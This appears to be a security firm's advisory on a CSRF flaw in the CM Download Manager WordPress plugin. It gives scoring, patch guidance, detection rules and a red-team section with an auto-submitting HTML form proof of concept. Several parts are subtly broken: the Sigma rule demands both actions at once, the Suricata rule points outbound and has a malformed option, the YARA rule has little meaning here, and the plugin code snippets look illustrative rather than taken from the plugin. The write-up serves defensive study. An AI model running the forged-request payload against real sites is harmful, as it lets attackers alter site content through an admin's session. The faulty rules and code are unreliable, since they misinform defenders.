CVE-2024-1962

Executive Summary

CVE-2024-1962 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the CM Download Manager WordPress plugin, affecting versions prior to 2.9.1. This flaw allows an unauthenticated attacker to trick a logged-in administrator into unknowingly performing actions (such as editing downloads) via a crafted request. The vulnerability is classified under CWE-352 (Cross-Site Request Forgery) and has a CVSS v3.1 base score of 4.3 (Medium). No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, given the widespread use of WordPress plugins, this vulnerability poses a significant risk to sites using the affected plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem. The CM Download Manager plugin is distributed via the official WordPress plugin repository. Users are advised to update to version 2.9.1 or later, which includes proper CSRF nonce checks. No other package ecosystems (NPM, PyPI, Go, Ruby) are affected.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the victim must be logged in as an admin and click a malicious link or visit a crafted page.
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – an attacker can modify download entries but not delete or access sensitive data.
• Availability Impact: None (A:N)

Threat Level: Medium. While the impact is limited to integrity, the attack vector is simple and requires no authentication. The lack of public exploits reduces immediate risk, but the vulnerability is trivial to exploit once discovered.

Deep Dive & Mechanics

The CM Download Manager plugin fails to implement CSRF nonce tokens on certain administrative actions, such as editing or creating download entries. In WordPress, CSRF protection is typically enforced via a nonce (number used once) that is embedded in forms and validated on the server side. Without this check, an attacker can craft a malicious HTML page or email that, when visited by an authenticated admin, triggers a request to the WordPress admin panel (e.g., /wp-admin/admin-ajax.php or a custom endpoint) to modify download data.

The attack flow:

1. Attacker identifies a target site running CM Download Manager < 2.9.1.
2. Attacker crafts a malicious link or embeds a hidden form that submits a request to the vulnerable endpoint (e.g., to change a download’s title or URL).
3. Attacker lures an admin to click the link or visit the page (e.g., via phishing email or social engineering).
4. The admin’s browser sends the forged request with their session cookies, and the server processes it without verifying the nonce.
5. The download entry is modified, potentially redirecting users to malicious content or altering file metadata.

Vulnerable vs. Patched Code

Vulnerable Code (pre-2.9.1): In the vulnerable version, administrative actions like edit_download or save_download are handled without checking a CSRF nonce. Example snippet:

// In admin-ajax.php or similar
add_action('wp_ajax_cm_dm_edit_download', 'cm_dm_edit_download_callback');
function cm_dm_edit_download_callback() {
    // No nonce check
    $download_id = $_POST['download_id'];
    $title = $_POST['title'];
    // Update database directly
    update_post_meta($download_id, 'cm_dm_title', $title);
    wp_die();
}

Patched Code (2.9.1+): The patched version adds a nonce verification step:

add_action('wp_ajax_cm_dm_edit_download', 'cm_dm_edit_download_callback');
function cm_dm_edit_download_callback() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'cm_dm_edit_download_nonce')) {
        wp_die('CSRF validation failed.');
    }
    $download_id = $_POST['download_id'];
    $title = sanitize_text_field($_POST['title']);
    update_post_meta($download_id, 'cm_dm_title', $title);
    wp_die();
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target WordPress site with CM Download Manager < 2.9.1.
• A logged-in admin user (victim).
• Ability to deliver a crafted HTML page or link to the victim.

Exploit Steps:

1. Identify the vulnerable endpoint. For example, the plugin may use admin-ajax.php with action cm_dm_edit_download.
2. Craft a malicious HTML page that auto-submits a form:

<html>
<body>
<form id="csrf" action="https://target.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="cm_dm_edit_download">
    <input type="hidden" name="download_id" value="123">
    <input type="hidden" name="title" value="Malicious Download">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

3. Host the page or send it as an HTML email to the admin.
4. Once the admin visits the page, the request is sent with their cookies, and the download is modified.

Blue Team (Defender)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with actions related to CM Download Manager (e.g., cm_dm_edit_download, cm_dm_save_download).
• Look for requests lacking a _wpnonce parameter or with an invalid nonce.
• Alert on multiple rapid changes to download metadata from a single IP.

Hunting:

• Search web server logs for POST /wp-admin/admin-ajax.php with action=cm_dm_* and no _wpnonce field.
• Correlate with user agent anomalies or referrer headers from external domains.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=cm_dm_edit_download or similar.
  • Requests missing _wpnonce parameter.
• Host:
  • Unexpected changes to download titles, URLs, or descriptions in the CM Download Manager plugin.
  • Modified wp_postmeta entries for cm_dm_* keys.
• Logs:
  • Web server logs showing POST requests to admin-ajax.php from external referrers.
  • WordPress debug logs showing failed nonce checks (if enabled).

Detection Engineering

YARA Rule

rule CVE_2024_1962_CM_Download_Manager_CSRF {
    meta:
        description = "Detects CSRF exploitation attempts against CM Download Manager plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1962"
    strings:
        $ajax_action = "cm_dm_edit_download" nocase
        $ajax_action2 = "cm_dm_save_download" nocase
        $nonce_missing = "_wpnonce" nocase
    condition:
        any of ($ajax_action*) and not $nonce_missing
}

Sigma Rule

title: CM Download Manager CSRF Exploitation Attempt
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to WordPress admin-ajax.php with CM Download Manager actions missing CSRF nonce
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1962
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        c-uri|contains: /wp-admin/admin-ajax.php
        cs-uri-query|contains|all:
            - 'action=cm_dm_edit_download'
            - 'action=cm_dm_save_download'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions with proper nonce (filtered out)
level: medium
tags:
    - attack.t1190
    - cve.2024.1962

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1962 CM Download Manager CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=cm_dm_edit_download"; http_client_body; nocase; pcre:"/^action=cm_dm_(edit|save)_download/"; content!"_wpnonce"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: Upgrade CM Download Manager to version 2.9.1 or later from the WordPress plugin repository.
2. Verify update: After updating, confirm that CSRF nonces are present in all admin forms by inspecting the plugin’s source code or using a security scanner.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) rule to block POST requests to admin-ajax.php that lack a _wpnonce parameter for known plugin actions.
• Enforce strict Content Security Policy (CSP) headers to prevent form auto-submission from external origins.
• Educate administrators about phishing risks and the importance of verifying URLs before clicking.
• Regularly audit WordPress plugins for known vulnerabilities using tools like WPScan.

Workarounds (if patching is not immediately possible):

• Disable the CM Download Manager plugin until it can be updated.
• Restrict access to /wp-admin/admin-ajax.php via .htaccess or server configuration to only trusted IPs (not recommended for production).

Valters IT